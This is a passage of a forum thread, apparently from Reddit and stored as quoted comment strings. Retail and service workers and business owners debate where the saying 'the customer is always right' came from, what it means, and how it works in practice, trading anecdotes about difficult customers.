litigious behavior over many years. You have to weigh your opinions. It's not about who's right and who's wrong. Our society does not work that way. The headlines and hearsay will read to make the big company the bad guy because it's a better story. \n\nSmall businesses can in some way cushion the blow better because they rely more on word of mouth and it's customer growth can be stable. Plus, not a likely target for the people trying to sue for big sums of money. \n\nEdit: grammar", "Some decent posts here but I think one key thing is missing.\n\nAs a business owner, you do not control the impact that a dissatisfied customer has on your business when he or she recounts the experience. A customer can be 100% wrong in their interaction with a business. You could ban that customer or simply ask him or her to leave. However, when they go out into the world and recount their experience to their friends and family, those people will only hear the customer's side of the story. You as a business owner don't get a seat at they table to explain what actually happened. This can easily dissuade other people from visiting your business and buying from you. \n\nSo it often makes sense to placate a customer who is not \"right.\" That customer leaves satisfied and may even realize later upon further reflection that he was being a jerk. If he ever recounts his experience to another person, his story is now unequivocally positive. \"Man I was super pissed off the other day after a long day at work. Went to Mike's tacos, and I accidentally ordered the wrong thing. When the waitress brought it I was kind of snotty and told her she better fix it. She did it with a smile even though I was being a dick. She went out of her way to try and give me a good experience. Those are good people at Mike's Tacos.\"\n\nWord of mouth is extremely important for local businesses and really any place that has direct customer interaction. Since you can't control the customer's message to the outside world, sometimes it is worth taking a small loss of a rude or wrong customer to help your reputation. This doesn't excuse those people for being assholes, but it is the reality of doing retail business. \n\nThis doesn't always apply and some customers can really take advantage of satisfaction policies. Repeat bad customs are often banned. ", "A statement my father made on the subject has stuck with me- The customer is NOT always right, but the customer IS always the customer. This idea has helped guide me through discussions with challenging customers, always remembering who ultimately pays the bills.", "One of my business professors used to say, \"the customer is always right, but not everyone has to be your customer\"\n\n", "\"The customer is always right\" is more of a concept rather than literal marching orders. \n\nIt simply means that the onus is on the employees in an establishment to cater to the customer rather than the customer adapting to fit the establishment.\n\nThe reason why this has been kept around is because although it sucks for the employee it is much better for the customer whenever they interact with a customer service employee. And then that employee gets to enjoy that benefit whenever they go anywhere. For example you can walk into Target and the sales people are supposed to bend over backwards to help you. \n\nOther posters have said that this is predominantly a trait of American culture which is certainly true. In Europe there is  more concern for employee's wellbeing and as a result usually the standard of customer service in places such as resturaunt or gas station is lower than in North America. The trade off is that the person behind the counter won't want to commit murder as often.\n\nSource- 5 very long years in the service industry on both sides of the Atlantic. ", "This expression isn't referring to individual customers, but instead to all customers. \n\nIt's a statement on capitalism and market forces.", "The customer is always right originally started in Chicago from Marshall Field's store. The actual phrase is \"Assume that the customer is right until it is plain beyond all question he is not\". The Marshall Fields cookbook has an interesting example of this in Mrs. Hering's Chicken Pot Pie where an employee overheard two customer talking about how hungry they were so she served them a chicken pot pie she brought for lunch. ", "Because the second one store starts it, they beat out their competition. if anyone stopped doing it, they simply couldnt compete.\n\nThink about it; If A store today allowed its employees to ignore or deny customers, even if they want something ridiculously stupid, then they would lose a customer. they could just go somewhere else, as more than likely there's a store nearby that does the exact same thing, AND treats all their customers better than their employees.\n\n\nEssentially, get used to being treated like shit at your job :/\n\n\nOn the plus side, private businesses, if you can find them, typically treat their employees pretty damn fair.", "\"Customer is always right\" I believed started with the first modern department store known as Selfridges. It's still open today! Started by an American too! \n\n_URL_1_\n\n_URL_0_", "What you have here is a total misunderstanding. \n\nNothing you've written in the post is particularly accurate or true in business, you just don't understand the phrase you're trying to use. \n\nIf the company you work at is like this, I would look for another job.", "In Texas, where I live, it is common to see a sign in small businesses that says, \"We reserve the right to refuse service to anyone.\"  This is the prevailing sentiment among the people with who I am acquainted.  If a would-be customer causes a problem in a business, *any* sort of problem, he is free to take his ass on down the road.\n\nNobody has any right to be served in any business where I've ever worked.  Either you behave yourself, or GTFO.", "The Customer is Always right phrase came around during the 50s when the ad business started to boom. It's a similar sentiment as \"you can lead a horse to water but you can't make him drink\". You may think your customers want a product done a certain way but they buy what they want, and you can't always predict that. You may be selling a superior product in every way but if the customer is only buying the inferior product, then you are wrong. Cater to what the customer wants, even if you the business think you have a better product for them, they want what they want and since they are paying, they are right.\n\nThis is used as a business model and never intended to be taken literally at a personal level.", "In my line of work \"customer is always right\" will get people killed. (battery and electrical applications).  We treat it as \"customer is always right until they aren't\".  At that point we correct, educate and reinforce.", "\"The customer is always right\" has mutated in meaning since its origin.\n\nOriginally it meant that you should change your inventory + service based on what the marketplace demands. Best modern example of this is how Netflix's model to not have ads is \"right\" because they dominate the marketplace over other streaming services that kept ads. \n\n\nToday: the idea that it means you shouldn't argue with a customer making demands is a bullshit marketing ploy more than a business model. At McDonalds, the customer is always right is not practically true (they stopped having ketchup + napkins out because the customers (and non-customers) were taking too many) but the idea is that arguing with the customer is less profitable than just getting them out of the way. The thing is, most McDonalds' don't really do that. It's just this marketed impression that you can get away with it.\n\nBut yes, try telling McDonalds that you require UNSALTED FRIES. See what happens with \"how right\" you are. By law they are required to literally make a separate batch of fries due to how they produce the salted fries, but this would disrupt + cause so much problems they'll just tell you they can't do that.\n\n\nBest Buy used to have this model where they'd not even check returns for anything or require a reason. My friend had the top of the line graphics card perpetually for 2 years because of this return policy. \n\nIt wasn't until people started buying items and there'd be slices of pizza in the box because someone returned it with fake shit inside that they had to think \"ok maybe the customer can go fuck themselves.\"\n\n", "I didn't see this answer, but  as somebody who worked retail management, in wholesale too, it's just easier in the retail goods industry to get them out of your hair. Markup is so high on almost everything that it's just cheaper to shut them up. Give them a new product and get on with your day.\n\nTake clothing - a pair of jeans retails for 69.99 we'll say. However, since that store buys in bulk, they're probably paying 3.99 PPU (priced per unit) per pair of jeans. So those jeans cost 3.99 to the store. Is 3.99 worth your time trying to work with a bitchy, naggy customer who will go out in to the world and spread shit via word of mouth? Or is it just easier to usually do what they want, which is almost always an exchange, or a refund. \n\nIt's just easier in most industries. ", "I think the point here is to make the customer always feel like they are right, even though they are not.\n\n", "I interpreted it more along the lines of \"Defy logic, make them think they are right.\" \n\nI worked at a dog daycare for $9.25 an hour. I tried to explain to difficult or upset (usually wealthy) customers the situation logically. \n\nAfter that failed I decided to say \"You're right. This and that was wrong. I or the employee made a mistake. Policy will be reevaluated and/or disciplinary action will be taken.\"\n\nThen I did nothing and never heard about it again.\n", " Harry Gordon Selfridge (founder of Selfridge Stores), John Wanamaker, and Marshall Field (founder of Marshall Fields in Chicago). Selfridge worked at Marshall Field's from 1879 to 1901.  \n\nTogether, 'they advocated that customer complaints should be treated seriously so that customers do not feel cheated or deceived.'\n\nThe idea was later amended to include the fact that \"customers can be dishonest, have unrealistic expectations, and/or try to misuse a product in ways that void the guarantee.\" \n\n_URL_0_", "The customer is always right refers to trends. Others have provided good examples, but I have one that kind of sticks with me.\n\nLet's say I run a burger shop. Meat is obviously superior. Well, the current trend is towards healthier food. People start asking for veggie/tofu/etc. Burgers. I am vehemently opposed to veggie burgers. If there's no meat, then it's not a burger. \n\nI can maybe tell one or two people off. If I were in a more rural area, I could maybe get away with no vegetarian options. But I'm in California, full of vegetarian hipsters. So while it pains me, I start advertising a veggie burger. And I could also make a lettuce wrap burger. As a gluten free option. I don't believe in gluten free, but it costs me nothing but pride to wrap a burger in lettuce instead of the bread it belongs in. \n\nThat's what the customer is always right means. You have to follow the trends and look at what your customer base wants. That's why, even though Carl's Jr/Hardee's advertise themselves as where you can get a real big manly burger, they have natural and vegetarian options. The demand is there.", "I had a boss who always said, you have to give the illusion that the customer is always right, even if they are a pig headed twat. ", "I worked at an upscale Seattle bar for a year and they had this policy and it was absolutely awful.\n I was serving a breakfast shift one weekend morning, and we had an unexpected group of 35 people walk in and want us to set up a huge table for them. I let them know they would have to wait 10-15 minutes for a couple of other tables to leave as we were very busy, and needed to free up tables in order to combine them into one large table. We sat them, took all their drink and breakfast orders and got to work. We had a decent sized kitchen but not a kitchen that could churn out 35 plates at the exact same time, so we brought out meals 5 at a time, we let them know ahead of time this was how it would be. The first people were done eating before we could refill drinks and before the last 5 people got their meals. The lady who had organized to pay for it all, came up to me and asked if she could speak to my manager. I asked her what it was she needed as I could try and answer her questions (my manager had a newborn baby and was always busy with he baby). She started yelling at me saying I gave them awful service, that I should be fired for not attending them and checking Thier table every 5 minutes for glass refills, serving their food at different intervals, ect... The lady wouldn't calm down, so finally I went and grabbed my manager from her office to speak with this evil woman. \nThe woman demanded that their entire bill be free, and that I should have to pay for it. Mind you we were an upscale Seattle bar, so our food plates were between 16-23$, and drinks were anywhere from 8-15$. These people had a bill of over 1200$!!!! That was my entire months paycheck.\nI didn't get into any trouble as my boss knew it wasn't my fault, she had to explain over and over again to the lady, that her bringing 35 people to a restaurant last minute was very unheard of and pretty unacceptable to expect basically a catering service last minute like that.\nIn the end my boss gave them half off of their entire meal order, and gave them a 100$ gift certificate to come back and try us again.\nI couldn't believe she wanted that lady to come back, or that she gave that lady 600$ off her entire bill. Not to mention they left me no tip. That table took up my entire serving shift, so I made no money, when usually I would walk away with 200$ or more.\nThis is the kind of \"thhe customer is always right\" mentality that is so fucked up with the service industry!!!", "People have widely misconstrued what \"the customer is always right\" axiom actually means. Not surprisingly, the party mostly responsible for this has been... consumers. We live in an entitled culture. (In the West, anyhow. Sometimes the rest of the world isn't so lucky.)\n\nAround the turn of the century and before, shopping for a lot of items was not a self service affair. You were helped by a salesperson or shopkeeper, who was counted on to be more or less knowledgeable about whatever the product in question may be. Even if that item was mundane (a sack of flour, or a pound of nails) it was probably located behind a counter or in a storeroom or otherwise inaccessible. Naturally the customer would tend to turn to this person for advice, particularly with goods like clothing. \"The customer is always right\" really means that despite what the salesperson's opinion or prior experience may be, he should ultimately sell the customer what they ask for. Regardless of how silly or unfashionable it may look on them, or if there is a higher quality version or another product that would earn a fatter commission, whatever -- if the customer wants a specific item, that is what you sell them.\n\nSomewhere between the 1960's and 1980's, possibly due to the rise of chain stores, corporate culture, and the possibility for bad word of mouth to spread fast and far via the telephone, TV, nationally syndicated letters to the editor, etc. this got twisted around to the current \"bend over backwards and do anything to prevent the customer from complaining\" compulsion. That's what everyone thinks it means now, but that's not what it originally meant.", " > Despite evidence of the opposite (including cameras and other employee witnesses), why does HR or management always opt to punish the employee rather than ban the customer? \n\nin today's economy and culture, it is far easier to find a new employee than to get a new customer.  however as far as i'm concerned, any company that goes so far as to fire an employee just because a jackass customer demands it is one that isn't going to get my business.  happy employees ensure happy customers.\n\n > I feel like it takes more time, energy, and money to hire, train, write tax info for, and fire employees rather than to just ban or refuse to bend over backwards for an unreasonable customer. All you have to say is \"no\" and lose out on that $1000 or so that customer might bring every year rather than spend twice that much on a high turnover rate.\n\nbecause on the business side, the customer brings in money but the employee costs money.  from that perspective, it's better to preserve your source of income and eliminate an operating cost, especially if it's not one that you absolutely have to replace right this second.\n\n > Where did the idea of catering to customers no matter what start, and is there a possibility that it might end?\n\nwhen you're dealing with a truly free-market economy, the one where the consumers are the ones who dictate which companies will survive or fail, then if you want your company to profit and grow you need to cater to the customer as much as possible to attract and retain their business... and that meant giving them whatever they wanted, no matter how wrong they might be.  even though we're not in a free-market economy (we're in a very litigious, profit-centric economy where the focus is on quarterly balance sheets and shareholder happiness), it's often less costly to give the customer what they're asking or go so far as to draw up a settlement with them than to have them sue you.  lawsuits are public, expensive, and drive away customers.\n\nwhen will it end?  those mom  &  pop stores that take the \"no BS\" policy often do so with a good dose of common sense, and likely their reputation within the community is solid enough that whoever goes out and bitches to the world isn't going to be taken seriously.  so when the rest of the world employs common sense along with those small stores, then it'll end and we can realize that sometimes the business did the right thing, or what we're asking them to do is out of line.", "\"The customer is always right\" DOES NOT mean \"the customer is always entitled to get/do whatever he or she wants.\" When I was in sales this came up a lot - someone would come in stating that they need x y and z for some project. I could tell them that x y and z won't work and instead they need a b and c. If they objected or wouldn't listen, then I would just sell them what they want, because who am I to talk them out of spending money if they insist upon it.", "\"Several retail concern used this as a slogan from the early 20th century onward. In the USA it is particularly associated with Marshall Field's department store, Chicago .... Several retail concern used this as a slogan from the early 20th century onward. In the USA it is particularly associated with Marshall Field's department store, Chicago\"\n\nThe trading policy and the phrase were well-known by the early 20th century. From the Kansas City Star, January 1911 we have a piece about a local country store that was modelled on Field's/Selfridges:\n\n[George E.] \"Scott has done in the country what Marshall Field did in Chicago, Wannamaker did in New York and Selfridge in London. In his store he follows the Field rule and assumes that the customer is always right.\"\n\nsauce - _URL_0_ ", "This has nothing to do with individual customers, but large groups of them and how their opinion should affect your business model and practices. You make a sharper knife, let's say. Studies show that the sharper the knife, the safer and better it is at doing the job. But the customers disagree with the science. They fear the sharper knife will hurt them. Who is right? Well, the customers have the money. And they're using it to buy the duller knives your competitor is selling...so....", "Gonna let you in on a secret. It's because it allows the higher ups to place more pressure on the lower workers while portraying a kind environment.\n\nLemme break it down. There's a company in my town called Stew Leonard's. They employ a shit ton of people. They follow that rule, and even add another cheeky one: \"If the customer is not right, see rule #1\". Yeah, very funny. Anyway, the people that work there are just happy that they have a job in this terrible town. They're told promotions lie in the their future if they work hard. And that does happen... Sometimes. Really it's just a way to control them. Give them a challenges they have to follow and trick them into competing against each other all while the honchos work far away in a separate building. But hey, put on those jeans and they're just like us! Now kiss your king's boots.", "I am currently mobile and will need to go back and confirm my source, but \"The customer is always right.\" (assuming I'm remembering correctly and my sources aren't bullshit) has come to take on a twisted sort of meaning in that the customer should always get their way. \n\nWhat it actually meant whwn it was first said, was that the customer ultimately knows what they want more than you do, even if what they want will not help them or is bad. That companies need to cater their products and services to their customers needs and wants rather than coming up with a product or service and trying to convince people they need it. ", "With 15 years in retail and 19 years in factory production I can tell you that it is in both fields. If a customer has any issue it is your fault no matter the circumstances. \n\nI think it stems from the focus on profit. we/you have to get their $$ no matter what and we/you want to get more of their $$ down the road. So if they are always right then they keep coming back.\n\nI blame the bigtime share holders... back in the day, say 1990 and earlier people buying stock would evaluate what a business could potentially earn. ROI... return on investment would be calculated on how much profit a business could be reasonably expected to maintain. The buyers would then either buy that stock or not just as they liked. NOW buyers buy stock without this expectation, they then calculate how much their own personal ever increasing lifestyle will cost and they TELL the business how much profit they must make. Regardless of any reasonable expectations. Company officers and upper mgmt start shaking in their boots at the thought of a massive sell off of stock which would ruin a company. So the management tells the people who do the work, ridiculous and unattainable rules and policies to maximize profit. Running understaffed and expecting more production than ever before... running understaffed and expecting better customer service than ever before. Receipt padding with things a customer didn't intend to buy, now must be pushed on a customer with unattainable sales levels. Hours available to schedule people are cut so thin that updates and remodels that must get done have no one to do them. \n\nSigh I am just hoping for a big lottery win ;-)", "I'm not sure if the saying was ever meant to be taken literally. At least I certainly don't. I run a business in the service industry and we try to use that saying as a way to get you in the right frame of mind for dealing with a customer.\n\nThe way I look at it is. \"The customer is always right, until proven otherwise\". If the customer brings up a concern, you immediately assume they're right to be concerned. You DON'T speculate and you DON'T go on the defensive until you investigate the matter. \"I will look into your concern and rectify the issue right away\" A lot of the time they're right to be concerned and because you took the \"customer is always right\" stance to begin with, you defused the situation and pacified the customer. Follow up and fix the concern and more often than not, you'll look like a hero. Now even though your company screwed up, you've still got a happy customer as well as a referral.\n\nSometimes the customer is not right. Willingly allowing your customers the right to take advantage of you is not a good business model. And I'd be surprised if there are any successful companies that actually promote that saying in the literal sense. ", "I've taken huge issue with \"the customer is always right\" and I beleive its outtdated rhetoric from the 90's.  I think with the advent of major big box retailers, that have huge profit margins and sales volume, like Wal-Mart and Amazon, customers have gotten used to bossing them around and getting what they wanted.  Then said customers take this same arrogant attitude and hold small independent shops to the same standards they would Amazon.  \n\nNow, if a plumber has a 3 hour arrival window, they want it to be one hour, and if the plumb is 15 min late, they want a discount. If a product isn't over-nighted the customer wants a refund on shipping.  \n\nWhen they don't get their way the customer extorts.  They use Yelp, Facebook, Google Reviews, etc to get what they want from the small mom and pop shop.  Its absolutely heart breaking to see customers who use the tool \"the customer is always right\". It will be the downfall of some small businesses. \n\n", "It's largely misunderstood as others have pointed out.\n\nI'll just add that keep in mind that businesses exist for customers.  That doesn't mean you allow customers to be violent or overly rude, but to paraphrase Iacocca(?), customers are the only ones who put money into the system.\n\nSo if you've got a product or service that's deemed wrong by your target customer, your choice is either to fix what's wrong or find a new customer.  It's much, much easier to fix the issues than to find new customers.  \n\nOne example as it relates to service are substitutions at a restaurant.  Now, at a high end set course restaurant, it's probably expected that you can't make substitutions so it doesn't affect their target customers.  But at an Applebee's?  That would piss a lot of target customers off.  I've been to mom & pop restaurants that are about the equivalent of an Applebee's, and they won't allow substitutions.  Their online reviews are usually bad.", "I worked clothing retail and a customer came to the counter asking me the price of an item. I told them what I thought the price was based on what I remembered the promotion being the day before. I did not know the promotion had changed. When I rang the items the price was not as expected.\n\nI told the customer the item was buy one get one free, but the item was now marked at 40% off. The customer wanted to know what 40% of $24 was essentially. I thought she may have found it in an area without clear signing. I just went from memory. \n\n\nI called my boss over to the counter, and the customer became irate because I had misinformed them. My boss backed me because the item was clearly marked on the table and it wasn't necessary to act like she had been robbed of a deal. \n\n\nI can confirm the customer is always right when they don't act poorly towards the associates. Retail workers don't get paid enough to be talked down to for honest mistakes. ", "Sorry but we don't use this analogy any more. We say \"the customer isn't always right. But the customer does come first.\" ", "You misunderstand that statement, \"the customer is always right\". The idea behind this is overall trends, not specific customers. If you have an item in inventory that doesnt sell, take it off your shelf. ", "\"the customer is always right\" refers to making sure the customer is getting what actually want at the time they want it.  \nIt does not mean the customer gets what they want at the price they want it.  \nIt does not mean the customer gets to be rude/aggressive/violent with employees of the company.  \nIt does not mean they get to treat employees of the company with less respect.  \nThe phrase means that the customer is right because if the company does not have customers, then the company does not exist any more.  \nHR should have very little if anything at all to do with this policy.  Employees should treat customers with respect and should do everything in their power to get their customer the best value they can to promote future business.  The future business is more than just that customer coming back and making purchases for themselves but also their positive word of mouth which brings friends/family to your business thus growing it.", "A business sets out to find customers who have a need, and fulfill that need for them. If you don't pay attention to the feedback you're getting from customers along the way, all you can do is pray that your original business idea was 100% right, which it rarely is.\n\nThere is also the problem of annoying customers. Sure, they're annoying, and from your point of view, they're wrong about something. But winning arguments with customers doesn't bring in any revenue - satisfying customer needs does.\n\nI mean, yes staff turnover is an issue, which is why you try to inoculate people against difficult customers by pointing out that ultimately those customers pay everyones' salary. But minimizing staff turnover isn't in itself a business model. Job number one is selling something that customers want. \n\nWouldn't it be great if customers just rolled in an politely handed you money for exactly the product/service you offer without ever having problems or wanting to change it in any way? Yeah, that would be great. It's just not realistic. \n\nIf a manager is literally just telling you \"the customer is always right\" then they suck as a manager and should work harder to give you tactics for solving problems and emotional support for getting through difficult interactions.\n\nBut on the other hand if you as a service employee expect the business to ban every customer who annoys you, then you suck as an employee and should find work in a non-service role.", "I think this question confuses 'The Customer is Always Right' with 'Customer abuse of Employees'.  Those have always been two separate things.  I'm speaking from the experience of working at Customer Service Desks at two different supermarkets:  Whole Foods and Wegmans.\n\n'The Customer is Always Right' is the general approach to a customer complaint or concern.  There are a couple of things going on.  First, if it is a matter of bad product, the cost of the product in question is usually trivial compared to the buying power of any given customer.  So if someone comes in with a dozen eggs and says one is cracked, I would tell them to go get another one and mark it paid.  I don't know if it cracked in their car going home or it was cracked in the store, but it doesn't matter.  I just spent a few dollars to make that customer spend a lot more dollars in the future.  \n\nCould that system be abused?  Yes.  And people do abuse it.  It happened on occasion that someone would buy prepared food and eat it in the store, but return to the customer service desk with half a plate and complain the food was bad.  Of course you know they're angling for a free meal.  But again it is risk/reward.  The cost of appeasing an abuser is usually less than the cost of accidentally rejecting a real complaint.  It also serves to get that customer out of the store as quickly as possible.  If they create a scene, it will make other customers unhappy too.\n\nAnother case is an angry customer.  Either they felt like they were treated rudely, or bad product had ruined some plans, or any of a myriad of reasons.  'The Customer is Always Right' in this scenario means deescalation.  You need to resolve the anger first before resolving the issue.  The quickest way to get this done is appeasement and empathy.  Tell them you understand and you apologize and that they're right:  it never should have happened.  You invite a manager into the mix - which also has the benefit of outnumbering them.  People shopping in supermarkets often don't want to be there.  Go in with the assumption that someone is having a bad day and you're usually right.  If you can make them happy and they leave happy, well then you're the one bright spot in the otherwise crappy day.  This brings them back to the store tomorrow.\n\n'Employee Abuse,' however, was NEVER tolerated in any place I worked.  Cursing out an employee, yelling and screaming, inappropriate behavior (I had one guy lie down on the service desk as if to take a nap once), or anything physical would get a customer escorted out of the store.  At Wegmans, that would have involved a cop and Whole Foods had their own security.  Whenever a customer got abusive, the customer was always wrong.  It's a health and safety issue at that point.  And yes, people do get banned for life.  Both stores also have their own 'inventory control' people:  essentially undercover shoppers looking for shoplifters or scammers.  You didn't want to confront shoplifters yourself, but notify a manager who would notify these folks (we rarely if ever knew who they were).  \n\nWhy does this work at big retail chains and not Mom and Pop stores?  It's really economy of scale.  Large retail stores are making a lot more money per transaction and doing a whole lot more of them, such that they can absorb the cost of a 'Customer is Always Right' policy.  And in the end, you encourage people to return and spend more money with the policy.", "Most businesses no longer use that model because we realized it doesn't really work. There are some companies that still use it to an extent, but it was adopted during an era where the emphasis was customer retention. It was abandoned because a lot of people would use it as an excuse to make unreasonable demands.", "Fuck the idea of \"the customer is always right\". That's why people are so goddamn spoiled and rude. Just like parents who spoil their kids. Imo, the company/employees are 1st. The product is 2nd. And the customers are 3rd. If the customers don't like my shit fuck'm they can go somewhere else. I ain't about coddling to everyone's stupid ass preferences and shit. Lol", "I agree. The \"customer is always right\" model has given some customers carte blanche to be tremendous douchebags to employees. I feel like there should be a defined set of circumstances in which HR or an employee should be able to tell a customer to go fuck themselves. Everyone i know has a story of a customer being a jackass. ", "I absolutely ban customers that are abusive or very rude, even if they don't complain.  On the flipside, we will happily fix respectful customer's errors out of pocket. \n\nThe reason is simple: If you treat the customer well they come back.  If they buy food that earns us $10 in gross profit, but piss off all the employees doing so, the company is going to lose more than $10 in lost productivity and retention programs.  Therefore, every time they come back, they cost the store money.  It's better to keep them away.  If other customers need us to make an order again so we eat a $5 net loss.  But this makes them much more likely to 1) come back and 2) order more expensive food.  Even though we ate a 1 time $5 loss, it more than pays for itself down the road.  \n\nThe \"Customer is always right\" is not a business model and any spinless manager who gives in to abusive customers shouldn't be in charge of anyone.", "As someone with 10+ years of Customer Service experience, I straight up won't work for companies who follow the \"Customer is always right\" policy. In the past, when facing abuse from customers (name-calling or just plain rudeness etc.), my managers have ALWAYS stuck up for me and banned or \"fired\" the customer from doing business with us. And it made me work that much harder.\n\nI think its old-fashioned style of doing business and many new companies don't believe in it any longer.", "MBA, worked in business strategy. People are touching on the customer perception aspect, which is great, but they're missing the point. The Customer is always right comes from the 50's. However, it was a literal business strategy. The most famous legend of the story is [Nordstrom and the tire return.](_URL_0_) During the 50's, people really started to get savvy about corporate strategy and started to build out a lot of the modern frameworks that are still used today. One of the most important marketing frameworks works like this: you can work on differentiating your product or service, making the service or product a higher quality, or you can be a cost leader. If you are tackling all three, you aren't using your resources efficiently, and your company becomes luke warm tea, which is to say not particularly good at anything. No one likes look warm tea. Competitors will come along who do any three of those dimensions better and will take most of your business.\n\nCustomer is always right is the differentiation of service. Customers will go to your store if they trust your company and enjoy the service they receive. The idea is a single customer might cost you money with their BS, but you attract customers who will pay your slightly higher prices for products that they can get elsewhere. You will see this all over the place. Your favorite Italian restaurant might not be the cheapest, and the food might be nearly identical to their competitors, but the environment and service might be better. Or take LL Bean and their no question asked return policy. What a lot of companies focus on is not the day to day costs that they incur, but the long term life time value of customers.", "I've worked Customer Service in one form or another for about 15 years, from home repair to food service to tech support.\n\nThe most successful CS departments strictly refuse to follow the mantra of 'the customer is always right.'  \n\nThe most successful CS departments work on a mantra of providing accurate information and as much time as the customer demands of you.  \n\nCurrently, I work for a joint car company/telecom project dealing with onboard touch-screen radios similar to Onstar.  Average Hold Time is something strictly ignored unless you're going UNDER 5 minutes.  Then, they want to know why you're not spending more time with the customers. We can take as much time as needed to satisfy the customer's demands, as long as we're capable of doing so, and when we're not capable of supplying the solution, we tell them in simple terms while expressing our empathy for their situation.\n\nIn short, if a customer wants free service without a qualifying reason such as a documented failing on our end, we'll apologize as often as is required by the customer, but we'll never promise them anything we can't deliver and we'll never break the rules to make them happy.  \n\n'the customer is always right' has led to the idea that if the customer complains loud enough and long enough, they'll get what they want.  And with some companies, that'll work.  Not with all companies, though.  ", "I will say, I am proud to work for a boss who believes the customer is not always right. We work in a service based industry, and we see our fair share of complaints. If there isn't a good basis, or we get into it with a customer, he backs us 120%. If we are rude, there is a good basis, or something was our fault, he also backs us with what we need to do to take care of the customer and keep them coming back. He's pretty awesome and doesn't put up with people trying to game free stuff. ", "I think it means the customer is right in the sense \"the customer knows what they want to buy\" and that you need to provide that solution. Not in the common misconception sense of \"customer gets what they want from the business\"", "Story time: Work in a smaller shop, sell some agricultural and electrical equipment. A product we sold to a customer broke down within the 1 year warranty period. They brought it in for servicing or replacement. Husband and wife team, they were belligerent, angry, accusatory, the whole nine yards. They seemed to feed off each others anger, proportionately getting madder when the other speaks. The kind of customers that make you wish for a meteor to come flying in at just that moment. But you just keep going and kill them with kindness and professionalism.\n\nWe take the unit to the back for a quick inspection. Turns out the guy had made massive alterations to it. New welds, changed alignments and everything. And he did not do a good job of it either. When confronted he said he was trying to fix our flawed design and wanted a full refund AND a new unit for his troubles. Escalated to the company president who eventually asked them to take their broken unit and leave the premises. This customer was most definitely not always right.", "i worked for a small business for a while. hobby/used good shop. after a few people screwed us like in this thread we enacted the fuck you policy.\n\n1...\"im sorry i can't help you\"\n2...\"sorry i can't\"\n3...please leave\n4... fuck you here come the cops\n\nafter a while business did suffer. then actually started booming as people were more honest. apparently after word gets around that you will tell customers to fuck off, they stop fucking with you!", "I have been in retail for 18 years. Hopefully getting out after a trade course in May. \n\nI would compare customer service to spoiling a shitty 3 year old. \n\nWhen a customer acts out to get there way and a store yields to them whether they are right or not only enables that behavior and shows others how they should act to get there way. \n\nThe squeeky wheel gets the oil. \n\nWhat I dislike about this the most is the customers that come in every day and do the real \"good customer\" thing don't really get rewarded with anything extra. We just take there money and say come back tomorrow. ", "My boss always told me \"the customer is always right.\" Is not true, the actual phrase should be \"the customer always wins.\"", "I've always loved the quote from Richard Branson: \u201cClients do not come first. Employees come first. If you take care of your employees, they will take care of the clients.\u201d That attitude has taken him and his business far and I've seen first hand what a truly passionate employee that feels appreciated can do. Likewise, I've been the employee that is undervalued, even completely ignored, and the effects of that. \n\nMy one-man side business makes it easy because I feel totally valued!", "what's with all the deleted posts? I WANNA KNOW!!", "Why are there so many [removed] signs?", "\"Clients don't come first. Take care of your employees and they will take care if your customers!\"", "\"The Customer is Always Right\" is not a *business model* (which describes the essence of a business, what it does, and how it makes and uses money), and despite the use of the word \"always,\" it's not a *maxim* or *axiom* or *law*. \n\nWhen a customer has a complaint or dispute, \"the Customer is Always Right\" is a *rule of thumb* that businesses often employ in attempt to achieve the best long-term outcome for the business. The Customer is Always Right is used to describe the behavior of the business when the customer is *actually wrong*! It typically means placating the customer:\n\n* to avoid the time and cost of nuisance,\n* to save a sale or deal,\n* to the increase the chance of continued patronage (and revenue), or \n* to protect the business's reputation\n\nNow, the situation you describe is extreme: an employee is fired to placate a customer (who is not right). I can think of a few situations in which the wrongful-firing approach might be reasonable (from the standpoint of the company):\n\n* the value the customer brings (or is expected to bring) to the business *significantly* outweighs all the costs of firing and re-hiring as you mentioned,\n* the company is extremely large and the employee is low-value, unskilled or minimally-skilled, and replaceable with little effort, or\n* the customer appears to be willing and able to inflict significant harm on the business's reputation.\n\nYet in all these examples, the customer would probably have to *demand* the employee be fired.", "For bigger companies it often works out cheaper to just \"pay\" angry customers off rather than investigate what actually happened. Fines also have a lot to do with it. I used to work for a bank that had just received huge charges for not handling complaints to a satisfactory level. Not only did they receive a large one off fee, but they were being fined every time a decision was disputed, regardless of wether they won the dispute. This meant that it was cheaper to give every customer the benefit of the doubt and a small payout ( < \u00a3300) as long as it was their first call. If you call up your bank (in the uk) and tell them something happened in branch, they will almost always comp you without looking in to it. I imagine that similar incentives play a role in other fields, which account for a \"customer is always right\" vibe. It's the same logic as settling lawsuits outside of court because the cost of fighting them is too high.", "I believe that the larger the company, the more likely they are to calculate the cost of \"the customer is always right\" vs a certain amount of P.O.ed customers is the cost business.\n\nA few years back, Nvidia had an issue with some of its GPUs and ended up paying HP, Dell, and other money to replace the product. I had a laptop with this particular GPU and HP wanted to charge me $200 to repair it. After going through multiple layers of people, that was the best they would do for me, even after pointing out that Nvidia had PAID THEM to replace the GPU with a different one. It wasn't until I sent them a letter giving them 30 days to either replace the laptop or refund my money, other wise I would file in small claims court. They called with one day of receiving the letter and gave me gift cards for the full amount of the laptop.\n\nIn the end, HP has permanently lost a customer. And gained someone who lets everyone know this story anytime someone asks him for a recommendation for a computer. ", "I've worked in customer service for about 12 years and all I've learned is that the customer is rarely right. If a customer comes in complaining that the computer they bought 6 months ago had a broken screen when you bought it and its our duty to take it back under the 1 year warranty you got me fucked up. I have started to take a guilty pleasure in denying customers. So long as you act professional and kill them with kindness HR can't do anything and it typically pisses off the customer even more that you can keep composure.", "All I know is 20 years of retail has given me this super power of hating people before they even talk. \n\nSo that's cool", "Not at my business. Lady came in, I was sitting in my employee break room ( I am the owner ). She walks over and taps loudly on the lockbox over the thermostat and asks: \"Hey, can you turn this down, it's hot in here?\"\n\nI told her no, I could not. She asked : \"Well, why not?!\" (already starting to get angry and loud). I told her because I didn't want to. I also said I am not turning the A/C on when it's 50 degrees (F) outside. She lost it. Called me rude, said she couldn't believe I would talk to a woman that way (wtf? I literally said two sentences), etc and so on. Said she wouldn't give our business money and left.\n\nNow the backstory is, we are a hair salon. When the stylists use their tools in their rooms, obviously the room they are in heats up ( the thermostat controls the whole building). The stylist that was working on this client complained about her room being hot earlier (gee, it might have to do with the red hot hair dryers you are using, I'm no expert though). I told her to crack her windows because it's 50 degrees outside. She said okay, then didn't listen to me. \n\nAnyhow, I killed the lady with kindness as she was losing her shit on me.  I believe she was just  embarrassed for acting like a moron and eventually she left, after I made it clear that customers don't control the thermostat in my building, and they certainly don't just walk in and make demands. Before we had the lockboxes on the thermostats, we had problems with people freezing out 